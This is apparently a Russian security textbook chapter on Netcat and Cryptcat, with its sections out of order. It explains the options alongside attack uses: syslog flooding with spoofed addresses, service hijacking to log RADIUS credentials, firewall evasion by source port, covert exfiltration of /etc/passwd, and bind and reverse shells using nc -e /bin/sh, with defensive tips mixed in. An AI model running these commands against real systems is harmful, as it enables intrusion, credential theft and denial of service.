    Это отличный способ убедится в том, что удаленные UDP-серверы работают. И если кто-то запустит syslog с неограниченными правами, он откроет себя для весьма простых атак, с помощью которых можно заполнить все свободное дисковое пространство, занять всю полосу пропускания и полностью исчерпать ресурс центрального процессора.

    [root@originix nc]# yes "<20>blahblahblahblahblah" | 
      nc -s 10.0.0.1 -u targethost 514

    Команда yes выводит строку (представленную в командной строке) еще и еще до тех пор, пока процесс не будет снят. Таким образом, можно затопить системный журнал на атакуемом хосте потоком бессмысленной чепухи "blahblahblahblahblah". Атакующий может также использовать липовый IP-адрес (-s 10.0.0.1), поскольку ответы syslog-демона не имеют никакого значения.

    Совет. Если вы страдаете от такого рода атак, то большинство используемых в настоящее время syslog -демонов имеют опцию командной строки ( FreeBSD использует -a ) для ограничения хостов, которые могут посылать сообщения. Вместо того чтобы получать сообщения от хоста, внесенного в такой список, syslog будет их игнорировать. Однако, поскольку Netcat может без труда подменить IP-адреса и в этом случае, то атакующий может воспользоваться разрешенным IP-адресом из вашего списка и использовать его в качестве обратного адреса. Блокирование входящего syslog-трафика с использованием брандмауэра следует в данном случае считать наилучшим решением.

    Создайте друга: подмена IP-адресов

    Подмена IP-адресов сродни волшебству. Вы можете часто слышать, - "Как мы можем знать, настоящий ли этот IP-адрес? Что, если он подменил его?" На самом деле, подменить IP-адрес не так-то легко.

    Возможно, следует перефразировать сказанное. Подмена IP-адресов - дело простое. Брандмауэры, которые осуществляют маскировку или трансляцию сетевых адресов ( NAT ), подменяют IP-адреса на постоянной основе. Эти устройства могут получать пакеты от внутренних IP-адресов, заменять исходные IP-адреса в пакетах на свой собственный адрес, посылать их вовне и отменять модификацию, когда получают данные назад извне. Таким образом менять содержание исходных IP-адресов в IP-пакетах достаточно просто. Что на самом деле сложно, так это иметь возможность получать ответ, посланный на подменный IP-адрес.

    В Netcat есть опция -s, позволяющая определить тот IP-адрес, который нужно. Некто имеет возможность начать сканирование портов и использовать опцию -s, подстроив дело так, будто сканирование ведет компания Microsoft или Федеральное Бюро Расследований. Проблема возникает, однако, если вы в действительности хотите получить ответ от сканируемых портов на реальный IP-адрес. Поскольку исследуемый хост получает запросы от фирмы Microsoft, к примеру, он будет посылать уведомления о получении на тот же IP-адрес Microsoft. IP, конечно, не имеет представления, о чем сообщает ему исследуемый хост и пошлет ему отказ в соединении. Как добиться возврата информации на реальный IP-адрес, не опасаясь попасться?

    Помочь взломать машину может также опция, определяющая порядок маршрутизации. Порядок маршрутизации позволяет сетевым приложениям определить маршрут, по которому вы хотели бы достичь конечной точки.

    Порядку маршрутизации присущи две вещи: строгость и неопределенность. Строгость порядка маршрутизации означает, что в пакете должны определяться все закоулки определенного маршрута до конечного хоста. Некоторые маршрутизаторы и сетевые устройства пока позволяют строгий порядок маршрутизации, а некоторые должны позволять неопределенный порядок маршрутизации. Неопределенный порядок маршрутизации сообщает маршрутизаторам и сетевым устройствам, что они могут определять маршрут до конечной точки самостоятельно, но при этом пакеты обязательно должны пройти через определенный набор маршрутизаторов на пути к конечной точке. Это представляет определенную опасность, поскольку позволяет взломщику пересылать пакеты через машину, которую он контролирует (возможно, это машина изменяет IP-адреса входящих пакетов на что-нибудь еще). Когда ответ возвращается, он проходит по тому же самому нестрогому маршруту и приходит обратно через ту же машину (которая восстанавливает истинный IP-адрес). Благодаря этому способу задания порядка маршрутизации, возникает возможность атакующему подменить IP-адрес и при этом получить ответ от атакуемой машины. Большинство маршрутизаторов игнорируют параметры порядка маршрутизации, но не все. Опция -g Netcat позволяет определить до 8 точек, которые должен пройти пакет до того момента, как попадет в конечную точку. К примеру, команда

    nc -g 10.10.4.5 -g 10.10.5.8 -g 10.10.7.4 -g 10.10.9.9 10.10.9.50 23

    определяет telnet соединение по 23 порту с адресом 10.10.9.50, но если опция порядка маршрутизации включена на промежуточных маршрутизаторах, то трафик будет принудительно маршрутизироваться через четыре указанных адреса, прежде чем достигнет конечной точки. Если мы попытаемся выполнить команду

    nc -g 10.10.4.5 -g 10.10.5.8 -g 10.10.7.4 -g 10.10.9.9 -G 12 10.10.9.50 23

    , то определим точку для прохода трафика с использованием параметра -G. Параметр -G устанавливает значение в n байт (в данном случае двенадцать), и поскольку IP-адреса занимают каждый по 4 байта, точка входа устанавливается на адрес 10.10.7.4. Таким образом, на пути к машине 10.10.9.50, трафик должен пройти только через последние две машины (так как в соответствии с установками мы уже пропустили первые две). Тем не менее, на обратном пути пакет должен пройти через все четыре машины.

    Если ваши маршрутизаторы и сетевые устройства не могут быть настроены так, чтобы игнорировать заданный порядок маршрутизации, следует надеяться, что ваша система обнаружения вторжений ( IDS ) сохранит вас от них (коротко IDS мы рассмотрим в лекции "Анализаторы сетевых потоков (Sniffer)"). Любой, кто может запустить анализатор трафика вроде Ethereal, может легко обнаружить факт использования задания порядка маршрутизации, поскольку раздел параметров в IP-заголовке будет больше обычного, и IP-адреса в списке маршрутизации будут хорошо видны, если воспользоваться ASCII-декодером. Если это важно для системного администратора, он может проследить хозяина каждого IP-адреса в списке, чтобы найти преступника.

    Захват службы

    Перейдите к системному журналу в вашей любимой операционной системе и запустите команду netstat -a -n. Посмотрите на первые строчки вывода. Вы увидите нечто подобное этому.

    Proto   Recv-Q  Send-Q  LocalAddress    ForeignAddress  (state)
    tcp4    0   0   *.6000  *.* LISTEN
    tcp4    0   0   *.80    *.* LISTEN
    tcp4    0   0   *.22    *.* LISTEN
    tcp4    0   0   *.23    *.* LISTEN
    tcp4    0   0   *.21    *.* LISTEN
    tcp4    0   0   *.512   *.* LISTEN
    tcp4    0   0   *.513   *.* LISTEN
    tcp4    0   0   *.514   *.* LISTEN

    Последние три строчки - это удаленные службы ( rlogin, rexec, и т.д.), которые могут стать отличной находкой для взломщика, поскольку они незащищены. Вы также можете обратить внимание, что запущены службы telnet, FTP, X Windows, Web, и SSH. Что еще можно узнать? Обратите внимание на символ * у каждой из служб в локальном адресе. Это означает, что все эти службы не ограничены работой с конкретным IP-адресом. Ну и что?

    Как оказалось, многие IP-клиенты, пытаясь соединиться со службой по конкретному IP-адресу, предварительно прослушивают все IP-адреса. Попытайтесь выполнить следующую команду.

    [root@originix nc] ./nc -l -v -s 192.168.1.102 -p 6000

    Теперь запустите на выполнение еще один экземпляр netstat. Вы увидите следующее.

    Proto   Recv-Q  Send-Q  LocalAddress    ForeignAddress  (state)
    tcp4    0   0   192.168.1.102.6000  *.* LISTEN
    tcp4    0   0   *.6000  *.* LISTEN

    Посмотрите! Вы теперь прослушиваете порт перед X-сервером. Если вы имеете доступ к компьютеру, как пользователь root, вы можете прослушивать порты с номерами менее 1024 и перехватывать такие сервисы, как telnet, Web и другие ресурсы. Но особенно интересны приложения для аутентификации, совместного использования файлов и другие, которые используют большие по номерам порты. Постоянные пользователи вашей системы могут, к примеру, перехватить RADIUS -сервер (который обычно выполняется на порту UDP с номером 1645 или 1812) и запустить команду Netcat с опцией -o для получения шестнадцатеричных протоколов всех попыток аутентификации. Они всего лишь перехватят все пользовательские имена и пароли, не имея при этом полномочий пользователя root. Конечно, пользователи довольно быстро поймут, что служба не отвечает, и "подрывная" деятельность будет раскрыта. Но если пираты хоть что-то знают о службе, которую они перехватили, они могут изобразить псевдослужбу (выдавая поддельные ответы на запрос) или перенаправить запросы на какую-нибудь еще службу.

    [root@originix nc] ./nc -l -v -s 192.168.1.102 -p 1812 -e nc_to_radius

    где nc_to_radius - это скрипт, который выглядит примерно так:

    #!bin/sh
    DATE='date "+%Y-%m-%d_%H.%M.%S"'
    /usr/bin/nc -o hexlog-$DATE slave-radius 1812

    slave-radius в данном случае имя хоста вторичного RADIUS -сервера в сети. Запуск Netcat на прослушивание таким образом, чтобы он перезапускался после каждого соединения, дает теоретическую возможность перехватить всю информацию, передаваемую в процессе аутентификации (сохранив все в отдельных файлах) и при этом уберечься от того, чтобы кто-нибудь сразу понял, что что-то не так. Этот прием просто записывает информацию в процессе передачи ее на резервный RADIUS -сервер. Может, и не просто заставить это работать, но все же возможно.

    Совет. Приведенный выше прием не обязательно работает на всех операционных системах или версиях ядра, поскольку многие из них не имеют этой лазейки в реализации сокетов. Обычно, чтобы понять, где работает этот прием, требуется тестирование системы. К примеру, у нас не получилось выполнить этот фокус на машине под управлением RedHat Linux 6.1 с установленным по умолчанию ядром версии 2.2.12. Перехват служб отлично работает в FreeBSD 4.3-BETA, но только при наличии полномочий пользователя root.

    Прокси и релей

    Вы можете использовать тот же самый прием, что и в предыдущем разделе, для создания прокси или релея на базе Netcat. Netcat в режиме прослушивания может быть использован для запуска вторичного Netcat -соединения, соединенного с другим хостом или портом, осуществляя тем самым релей.

    Использование этой возможности требует некоторых навыков написания скриптов. Поскольку с помощью опции -e Netcat может выполнить только одну команду (без аргумента в командной строке), вам потребуется упаковать все команды, которые вы хотите выполнить, в скрипт. С помощью такого подхода вы можете сделать интересную штуку, создав релей, который охватывает несколько разных хостов. Этот прием можно использовать для создания сложного "туннеля", давая возможность взломщикам осложнить выслеживание их системным администратором.

    Эта возможность с таким же успехом может быть использована в благих целях. Возможность релея позволяет использовать Netcat, как прокси для web-страниц. Запустите его на прослушивание 80-го порта на другой машине и дайте возможность осуществлять все ваши web-соединения (используя скрипт) и передавать их далее.

    Вокруг сетевых фильтров

    Netcat может использоваться для проникновения через брандмауэры. Маскировка запрещенного сетевого трафика под разрешенный - единственный способ обойти брандмауэры или фильтры портов.

    Некоторые брандмауэры разрешают входящий трафик от источника по 20 порту, который во внутренней сети передается адресату по более высоким номерам портов для обеспечения передачи файлов по FTP. Атака с использованием команды

    nc -p 20 targethost 6000

    позволит обеспечить доступ к X-серверу на хосте targethost, если брандмауэр плохо сконфигурирован. Таким способом можно имитировать ваше соединение как входящий FTP-запрос и проникнуть внутрь. Конечно, вы сможете получить доступ только к определенному подмножеству портов. Большинство администраторов брандмауэров исключают порт с номером 6000 из числа доступных портов, но вы по-прежнему можете искать другие службы, работающие на портах с номерами больше 1024, которые ответят на входящий запрос по порту с номером 20.

    Подобные проблемы есть и у службы DNS. Практически все брандмауэры разрешают исходящие запросы DNS, но не обязательно разрешают входящие. Если вы работаете за брандмауэром, который разрешает и то и другое, вы можете использовать это, чтобы направить запрещенный трафик через брандмауэр, используя исходящий номер порта 53. Из-за брандмауэра, запустив команду

    nc -p 53 targethost 9898

    , вы сможете пройти фильтр, который обычно запрещает исходящий трафик персонального менеджера сообщений сети AOL (AOL Instant Messenger). Этим можно удовлетвориться, но вы можете увидеть, как с помощью Netcat можно воспользоваться плохо написанными правилами для брандмауэра.

    Системные администраторы могут захотеть проверить промахи вроде этих. Для начала, вы запрещаете любой DNS- TCP -трафик, что позволяет закрыть многие проблемы с фильтрацией DNS. Заставляя пользователей использовать пассивный FTP, который не требует сервера для инициализации TCP-соединения с клиентом по порту с номером 20, вы полностью исключаете возможность проникновения в систему описанным выше способом.

    Создание конвейеров данных: создай собственный FTP

    Netcat позволяет создавать конвейеры данных. Какую выгоду можно извлечь из этой возможности?

    Передача данных через фильтры. Подав входной и выходной файлы на оба конца конвейера, вы можете пересылать или копировать файлы из одной сети в другую, не используя никаких "официальных" протоколов передачи файлов. Если у вас есть доступ к программному интерпретатору на компьютере, но нет возможности запустить какой либо способ передачи файлов из-за того, что с использованием фильтров заблокированы возможности FTP, NFS (Network File System), или Samba, у вас есть выбор.

    На стороне, где находится исходный файл, запустите команду:

    nc -l -u -p 55555 < file_we_want

    А на стороне клиента попытайтесь выполнить:

    nc -u -targethost 55555 > copy_of_file

    Осуществив соединение, можно немедленно передать файл. Закончив передачу с помощью команды EOF (CTRL-C), вы получите свой файл в целости и сохранности.

    Скрытая передача файлов. Взломщики могут использовать Netcat для передачи файлов вовне системы, не используя для этого способы, доступные для контроля. В то время как использование FTP или Secure copy (scp) оставляет следы в системном журнале, Netcat - нет.

    nc -l -u -p 55555 < /etc/passwd

    Когда взломщик соединяется с этим UDP-портом, то похищает файл /etc/passwd, не оставляя никаких следов (исключая случай, когда в тот же момент системный администратор выполнит команду ps (статистика выполняемых процессов) или команду netstat ).

    Перехват вывода приложений. Влезем снова в шкуру взломщика. Предположим, вы написали скрипт, который выводит информацию из некоторых важных системных файлов на стандартный вывод ( passwd, group, inetd.conf, hosts.allow и т.д.) и выполняет некоторые системные команды для получения справочной информации ( uname, ps, netstat ). Назовем этот скрипт "sysinfo". Чтобы достичь цели, выполним:

    nc -l -u -p 55555 -e sysinfo

    или

    sysinfo | nc -l -u -p 55555

    Вы можете перехватить вывод этой команды и поместить его в файл с названием sysinfo.txt.

    n c-u target 55555 > sysinfo.txt

    В чем разница? Обе команды перенаправляют вывод скрипта с помощью конвейера на Netcat, находящийся в режиме прослушивания, таким образом, что данные пересылаются вне сети через установленное кем-то соединение. Опция -e "передает" ввод/вывод приложению, которое выполняется. Когда скрипт sysinfo завершит свой вывод (вместе с командой EOF ), прослушивающая программа завершит работу, и то же самое произойдет с клиентом на другой принимающей стороне. В случае если скрипт sysinfo будет поставлен на входе конвейера, его вывод по прежнему будет передаваться клиенту, но Netcat будет удерживать поток ввод/вывода. Клиент не получит на вход команду EOF и останется в ожидании передачи какой либо информации.

    То же самое можно сказать и о "перевернутом" примере. Что будет, если вы работаете на машине, на которую передается информация, и хотите инициировать соединение с программой Netcat, находящейся в режиме прослушивания на вашей "домашней" машине? Если Netcat выполняет прослушивание на "домашнем" хосте, после запуска команды nc -l -u -p 55555 > sysinfo.txt, у вас вновь будут две возможности:

    nc -u -e sysinfo homehost 55555

    или

    sysinfo | nc -u homehost 55555
    Совет. В Unix-системах, если команда, которую вы хотите выполнить с использованием опции -e, находится вне текущей директории, из которой запущен Netcat, необходимо определить полное имя команды. Под управлением Windows Netcat может воспользоваться переменной %PATH% и не имеет таких ограничений.

    Разница в использовании конвейера и состоит том, останется ли клиент открытым после того, как скрипт закончит свою работу. Использование опции -e указывает клиенту Netcat закончить работу немедленно после завершения работы скрипта sysinfo. Различие этих двух режимов работы становится совершенно очевидным, если вы хотите выполнить приложение на удаленном хосте и передать ввод/вывод через конвейер Netcat (как об этом говорилось в разделе "Получение удаленного доступа к командной оболочке").

    Захват контроля над приложением. В разделе "Получение удаленного доступа к командной оболочке" мы описывали, как запустить удаленный командный интерпретатор на Windows-машине. Тоже можно сделать и на Unix-машине.

    nc -u -l -p 55555 -e /bin/sh

    Установите соединение с использованием nc -u targethost 55555. Интерпретатор запустится ( /bin/sh ), и вы получите возможность взаимодействовать с командным интерпретатором через конвейер. Опция -e полностью обеспечивает передачу ввода/вывода командному интерпретатору. Имейте в виду, что эта команда должна выполняться циклом в скрипте, если вы хотите оставить "черный ход" в систему открытым после завершения работы командного интерпретатора. При выходе из командного интерпретатора Netcat закроется на обеих сторонах соединения, как только закончит работу /bin/sh. Для Windows-версии Netcat того же результата можно достичь, используя опцию -L.

    Как и в предыдущем примере, вы можете посылать данные ввода/вывода локального приложения Netcat, находящегося в режиме прослушивания ( nc -u -l -p 55555 ), просто набрав следующую команду.

    nc -u -e /bin/sh homehost 55555

    Вы можете делать это в любом интерактивном приложении с продержкой текстового ввода без режимов управления терминалом (текстовый редактор vi, к примеру, не будет работать).

    Совет. Возможно, вы не захотите использовать telnet-клиент для соединения с Netcat, поскольку telnet вносит слишком большое возмущение в работу командного интерпретатора. Вместо этого используйте Netcat для соединения в клиентском режиме.

    Установка ловушек

    Это забавная страшилка для желающего стать взломщиком. Запустив экземпляр Netcat в режиме прослушивания портов, которые наиболее часто проверяются взломщиками на предмет незащищенности, вы можете ввести взломщика в заблуждение, убедив его, что вы делаете нечто, чего на самом деле нет. Если вы сделаете это аккуратно, то получите возможность поймать взломщика.

    [root@originix nc]# ./nc -l -v -e fakemail.pl -p 25 >> traplog.txt

    Ваш скрипт может передать на выход все, что угодно. После завершения соединения (с помощью команды EOF ), скрипт должен быть запущен заново той же командой Netcat. Но если некто стал слишком любопытным, вы можете затопить атакующего любым мусором, какой вам только будет по душе. Если же вы предпочитаете быть более терпимым, то можете просто записать IP-адреса, с которых происходит атака, в файл traplog.txt.

    Тестирование сетевого оборудования

    Мы бы не хотели терять на этом слишком много времени. Вы можете использовать Netcat в качестве прослушивающего устройства на одном конце сети и попытаться установить с ним соединение с другого конца. Вы можете тестировать множество устройств (маршрутизаторы, брандмауэры и т.д.) на установление соединения, проверяя, какой трафик они передают. Поскольку Netcat дает возможность осуществлять подмену IP-адресов, вы можете также проверять настройки брандмауэров, основанные на IP-адресах, и не потратите много времени на проверку удовлетворительной работы брандмауэра.

    Вы также можете использовать опцию -g, чтобы проверить вашу сеть на предмет возможности осуществлять source routing. Большинство сетевых устройств можно сконфигурировать так, чтобы игнорировать эту возможность, поскольку ее использование почти всегда незаконно.

    Сделай сам

    Архив исходных текстов Netcat сопровождается несколькими командными скриптами и C-программами, демонстрирующими большинство возможных способов использования Netcat. При наличии некоторого опыта в программировании вы сами сможете изучить многие возможности Netcat. Обратите внимание на файлы README, которые так же, как и примеры, расположены в директориях DATA и SCRIPTS. Они натолкнут вас на мысли о том, что еще можно попробовать.

    CRYPTCAT

    Criptcat - это всего лишь созвучие, образованное примерно так: Netcat с шифрованием ( netcat with encryption ). Теперь вы можете шифровать созданные конвейеры, прокси и релеи. Взломщики могут скрывать порождаемый Netcat трафик так, что внимательным системным администраторам понадобится нечто большее, чем просто прослушивать сеть, чтобы понять, что происходит.

    Cryptcat использует расширенную версию протокола шифрования Twofish. Аргументы командной строки у него те же, что и у Netcat. Естественно, не самая лучшая мысль использовать Cryptcat для сканирования портов или попыток соединения с системными службами, которые не используют тот же самый метод шифрования. Но при использовании Netcat в режиме прослушивания на одном конце, и еще одного для попыток соединения с ним, Cryptcat может предложить некоторые удобства, связанные с обеспечением безопасности соединения.

    Вы можете загрузить /.

    Страницы:

    К вашим услугам изобилие средств обеспечения безопасности сети и углубленного анализа. В большинстве случаев, каждый из инструментов предназначен для определенных целей. Некоторые программы накапливают информацию о сети и присутствующих в сети компьютерах. Другие используются непосредственно для анализа уязвимости. Тем не менее, большинство полезных и часто используемых средств обычно являются многофункциональными и подходят для использования в соответствии с несколькими различными сценариями. NETCAT и CRYPTCAT относятся именно к таким средствам.

    NETCAT

    Netcat устанавливает и поддерживает TCP (Transmission Control Protocol) и UDP (User Datagram Protocol) соединения, читает и записывает данные по этим соединениям до тех пор, пока они не будут закрыты. Это основа работы сетевой подсистемы TCP/UDP, которая позволяет пользователям взаимодействовать по сети с помощью команд или скриптов с сетевыми приложениями и службами на прикладном уровне. Программа дает возможность увидеть пакеты TCP и UDP данных до того, как они будут упакованы в соответствии с протоколами более высокого уровня, такими как FTP (File Transfer Protocol), SMTP (Simple Mail Transfer Protocol), или HTTP (Hypertext Transfer Protocol).

    Примечание. Технически Netcat не устанавливает UDP-соединение, поскольку UDP-протокол работает и без него. В этой лекции, говоря о UDP-соединении, используемом Netcat, мы говорим об использовании Netcat в режиме UDP для того, чтобы начать передачу данных службе UDP, которая передает их принимающей стороне.

    Netcat не делает ничего выдающегося. У этой программы нет красивого графического интерфейса пользователя (GUI), и она не выводит данные в виде красивого отчета. Но поскольку Netcat работает на таком базовом уровне, то он удобен для использования во многих ситуациях. Так как Netcat должен использоваться в паре с какими-либо еще программами или техническими приемами, неопытному пользователю его роль может показаться слишком преувеличенной. Управлять из командной строки файлом Readme новичку тоже довольно сложно. Тем не менее, к концу этой лекции вы увидите, что Netcat может стать одним из наиболее используемых инструментов в вашем арсенале.

    Реализация

    Поскольку у Netcat так много способов применения, его часто сравнивают со "Швейцарским армейским ножом" для работы с TCP/IP и UDP протоколами. Прежде, чем вы сможете изучить, как пользоваться этой программой, придется загрузить и установить ее.

    Загрузка

    Netcat можно получить из многих источников, и каждый из множества дистрибутивов Unix поставляется с уже готовым к работе модулем Netcat. Не самая плохая идея загрузить исходные тексты этой программы и откомпилировать ее самостоятельно. По умолчанию, Netcat скомпилирован с меньшим, чем этого хотелось бы, количеством опций. Загрузив исходные тексты и скомпилировав их самостоятельно, вы сможете полностью проконтролировать, какие возможности Netcat будут в вашем распоряжении.

    Официальный сайт, с которого можно загрузить /.

    Установка

    Мы не будем углубляться в процедуры загрузки, распаковки и компиляции большинства программ, обсуждаемых в этой книге. Но так как Netcat - первая программа, о которой мы говорим, и поскольку у него есть несколько интересных опций, определяемых на этапе компиляции, будет не лишним углубиться в некоторые подробности.

    Скопируйте с упомянутого сайта файл nc110.tgz. Затем распакуйте его.

    [root@originic tmp]# ls
    nc110.tgz
    [root@originic tmp]# mkdir nc
    [root@originic tmp]# cd nc
    [root@originic tmp]# tar zxf ../nc110.tgz
    [root@originic tmp]#
    Примечание. В отличие от большинства тарболов (архивов, созданных с использованием утилиты-архиватора tar в Unix системах), Netcat при распаковке не создает собственной директории. Сейчас эти советы могут выглядеть банально, но если все ваши архивы и поддиректории загружены в одну директорию, и вы обнаружите, что Netcat разместил все свои файлы в корне, то понадобится некоторое время чтобы вычистить их оттуда.

    Теперь вы готовы начать компиляцию. Обратим внимание на две важные опции, задаваемые перед компиляцией.

  • GAPING_SECURITY_HOLE. Как видно из названия, эта опция может сделать Netcat опасным в чужих руках, но она также делает его весьма мощным инструментом. Если эта опция включена, Netcat сам может запускать внешние программы. Ввод/вывод этих программ в этом случае будет проходить через конвейер данных самого Netcat. Тем самым Netcat ведет себя как функционально усеченный демон inetd, давая вам возможность выполнять удаленные команды (вроде запуска оболочки shell ) всего лишь установив TCP или UDP соединение с контролируемым портом. Эта опция отключена по умолчанию, поскольку весьма велика опасность ее неверного использования или ошибок в конфигурировании.
  • TELNET. Обычно, если вы используете Netcat для соединения с telnet-сервером (используя команду nc servername 23 ), вы уйдете не слишком далеко. Telnet-серверы и клиенты согласовывают некоторые параметры еще до того, как появляется приглашение ввести идентификатор ( login ). Если включить при компиляции эту опцию, то Netcat сможет реагировать на запросы Telnet-сервера (отвечая на каждый из них no), что даст вам возможность дойти до ввода идентификатора. Без этого, если вы захотите получить что-нибудь путное, используя Netcat и telnet, вам понадобится написать собственный скрипт для реализации соединения с telnet-сервером. Возможно, важность этой опции пока вам не ясна, но вы поймете, почему мы обращаем на это внимание, как только посмотрите некоторые примеры приведенные далее в этой лекции.
  • Для того чтобы включить каждую из этих опций, необходимо добавить строку DFLAGS в начало makefile.

    # makefile for netcat, based off same ol' "generic makefile".
    # Usually do "make systape" - if your systipe isn't defined, try "generic"
    # or something else that most closely mathes, see where it goes wrong, fix
    # it, and MAIL THE DIFFS back to Hobbit
    ### PREDEFINES
    # DEFAULT possibly overridden by <systype> recursive call:
    # pic gcc if you'd rather, and/or do -g instead -O if debugging
    # DFLAGS = -DTEST -DDEBUG
    DFLAGS = -DGAPING_SECURITY_HOLE -DTELNET
    CFLAGS = -O

    Вы можете включить одну или обе эти опции в строку DFLAGS.

    Если вы намерены поиграть с приведенными далее примерами, вам следует проделать эти модификации. Однако до того как вы произведете эти изменения, убедитесь в том, что доступ к созданным вами исполняемым файлам запрещен для любого пользователя, или в том, что вы являетесь единственным пользователем в системе. Достаточно того, что другому пользователю также просто загрузить собственную копию Netcat и скомпилировать ее с теми же опциями, и вы вряд ли захотите увидеть, что ваша система взломана, потому что кто-то использовал вашу специально скомпилированную версию Netcat в качестве "черного хода" в вашу систему.

    Теперь вы готовы к компиляции. Просто наберите в командной строке make systemtype, где systemtype - это название Unix-системы, с которой вы работаете (это может быть linux, freebsd, solaris и так далее). Когда процесс закончится, вы обнаружите небольшой исполняемый файл "nc" в текущей директории.

    Для пользователей Windows версию Netcat можно загрузить в виде архива ( nc11nt.zip ), также содержащего исходные тексты. Но поскольку большинство людей не имеют компиляторов, то исполняемый файл подготовлен заранее с опциями, включенными по умолчанию. Просто распакуйте архив и ваш файл nc.exe готов к использованию.

    Командная строка

    Командная строка для Netcat выглядит как nc [options] host ports, где host - имя хоста или его IP-адрес для поиска, а ports - это или номер порта, или диапазон номеров портов (определяемый "m-n" ), или несколько номеров портов разделенных пробелами.

    Теперь вы полностью готовы посмотреть на те поразительные вещи, которые можно проделать с помощью Netcat. Внимательно присмотримся к каждой из опций командной строки, чтобы получить общие представления о возможностях.

  • -d. Доступна только в Windows. Переводит Netcat в режим невидимки. Можно запустить программу в режиме прослушивания, не открывая окно режима MS-DOS. Это также позволяет взломщикам лучше маскировать работающую программу от системных администраторов.
  • -e <command>. Если Netcat скомпилирован с опцией GAPING_SECURITY_HOLE, программа может выполнять команду <command> всякий раз, когда кто-либо устанавливает соединение с прослушиваемым портом, до тех пор, пока клиент Netcat перенаправляет ввод/вывод работающей программе. Использовать эту опцию достаточно опасно, если вы не до конца представляете себе, что вы делаете. Это быстрый и простой способ открыть "черный ход" в вашу систему. Пример будет приведен далее.
  • -i <seconds>. Интервал задержки между пересылками порций данных. Если через конвейер Netcat проходит файл, то программа ждет <seconds> секунд перед тем, как передать следующую строку, поступившую на вход. Если вы используете Netcat для управления несколькими портами на одном хосте, Netcat ждет <second> секунд перед тем, как соединится со следующим портом из перечисленных в строке. Это дает возможность немного замаскировать передачу данных или атаку системной службы, и это позволяет замаскировать сканирование портов от некоторых программных средств, анализирующих попытки внедрения, и от системных администраторов.
  • -g <route-list>. Использование этой опции может быть весьма нетривиальным. Netcat поддерживает возможность маскировки начала маршрутизации (более подробно обсуждается в разделе "Создайте друга: подмена IP-адресов"). Вы можете определить до восьми -g опций в командной строке, чтобы заставить Netcat передавать трафик через определенные IP-адреса, которые обычно используются в случае, если вы подменяете исходящий IP-адрес, с которого поступает ваш трафик (например, для того, чтобы попытаться преодолеть брандмауэр или проверку разрешенных для доступа хостов). Используя этот прием на машине, с которой вы осуществляете управление процессом, вы можете заставить передаваемые пакеты возвращаться по указанному вами адресу вместо продвижения их по реальному направлению. Заметьте, что это обычно не срабатывает, поскольку большинство маршрутизаторов игнорируют опции источника маршрутизации, а многие фильтры и файрволы протоколируют такие попытки.
  • -G <hop pointer>. Эта опция позволяет внести изменения в список маршрутизации, определенный параметром -g с тем, чтобы определить, к какому из адресов переходить. Поскольку IP-адрес - это четырехбайтовое число, этот аргумент всегда представляет собой число, кратное четырем, где 4 означает первый IP-адрес в списке, 8 - второй и так далее. Эта опция обычно используется в том случае, если вы пытаетесь так подделать список маршрутизации, чтобы он выглядел, как будто пакеты приходят откуда-то из другого места. Пропуская первые два IP-адреса, прописанные в списке, определенном опцией -g, и указав в параметре -G число 12, вы определите маршрутизацию пакетов непосредственно на третий адрес в вашем списке маршрутизации. Реальное содержание пакета по-прежнему будет содержать IP-адреса, которые были пропущены, создавая видимость, что пакеты пришли с одного адреса, тогда как на самом деле они пришли откуда-то еще. Этот прием позволяет скрыть, откуда вы пришли на хост, при использовании подмены адресов или списк а маршрутизации, но не факт, что у вас будет возможность получить ответ, поскольку он будет передаваться обратно по маршруту через ваши поддельные IP-адреса.
  • -l. Эта опция переключает режим "прослушивания" Netcat. Она используется совместно с опцией -p, чтобы привязать Netcat к определенному TCP-порту и ожидать входящих соединений. Чтобы использовать UDP-порт, воспользуйтесь опцией -u.
  • -L. Доступная только в Windows-версии программы, более жесткая опция режима "прослушивания", чем -l. Она указывает программе на необходимость перезапуска с теми же параметрами в случае, если соединение было закрыто. Это дает Netcat возможность отслеживать последующие соединения без вмешательства пользователя, каждый раз после завершения первоначального соединения. Как и в случае с опцией -l, эту опцию необходимо использовать совместно с опцией -p.
  • -n сообщает Netcat, что не нужно осуществлять поиск каких-либо хостов. Если вы используете эту опцию, не следует указывать никаких имен хостов в качестве аргументов.
  • -o <hexfile> обеспечивает создание шестнадцатеричного дампа данных и сохранение его в файле hexfile. Команда nc -o hexfile записывает данные, проходящие в обоих направлениях, и начинает каждую строку с символов < или > для обозначения соответственно входящих или исходящих данных. Чтобы записывать в файл только входящие данные, вам следует использовать команду nc -o < hexfile. Соответственно для записи только исходящих данных воспользуйтесь командой nc -o > hexfile.
  • -p <port>. Опция позволяет вам определить локальный номер порта, который следует использовать Netcat. Этот аргумент требуется в случае, если вы используете опции -l или -L для режима прослушивания. Если эта опция не определена для исходящего соединения, Netcat будет использовать порт, который определен для этого в системе, что и делают большинство TCP или UDP клиентов. Имейте в виду, что в Unix-системах только пользователь root может определять номера портов меньше чем 1024.
  • -r. Netcat выбирает локальный и удаленный порт случайным образом. Эта опция полезна в случае, когда Netcat используется для получения информации о большом интервале номеров портов в системе и при этом представить ситуацию так, чтобы это было в меньшей степени похоже на процедуру сканирования портов. В случае если эта возможность используется совместно с опцией -i и с достаточно большим интервалом, то велика вероятность, что сканирование портов не будет обнаружено без внимательного изучения системного журнала администратором.
  • -s определяет исходящий IP-адрес, который Netcat использует для установки соединения. Эта опция позволяет взломщикам выполнять несколько изящных фокусов: скрыть свой IP-адрес или подделать что-либо еще. Но чтобы получить информацию, отправляемую на подмененный адрес, им необходимо использовать опцию определения порядка маршрутизации -g. Далее, используя режим прослушивания, вы можете многократно привязываться к уже прослушанному сервису. Все TCP- и UDP-сервисы работают с портами, но не каждый из них работает с конкретным IP-адресом. Многие службы по умолчанию прослушивают все доступные интерфейсы. Syslog, к примеру, прослушивает UDP-порт 514 для считывания трафика syslog. В то же время, если вы запустили Netcat на прослушивание 514 порта и использовали опцию -s для определения исходящего IP-адреса, любой трафик, проходящий через определенный вами IP-адрес, в первую очередь будет направляться через Netcat. Почему? Если сокет определяет и IP-адрес, и номер порта, это определяет его приоритет над сокетом, который не определяет обоих параметров. Позже мы расскажем об этом подробнее и продемонстрируем, как определить, какой сервис в системе может быть определен заранее.
  • -t. Откомпилированный с опцией TELNET, Netcat может поддерживать взаимодействие с telnet-сервером в соответствии с установленными соглашениями, отвечая незначащей информацией, но дает вам возможность ввести информацию в ответ на приглашение ввести login, когда вы используете TCP-соединение по 23 порту.
  • -u. Опция сообщает программе о необходимости использовать UDP-протокол вместо TCP, работая как в режиме прослушивания, так и в режиме клиента.
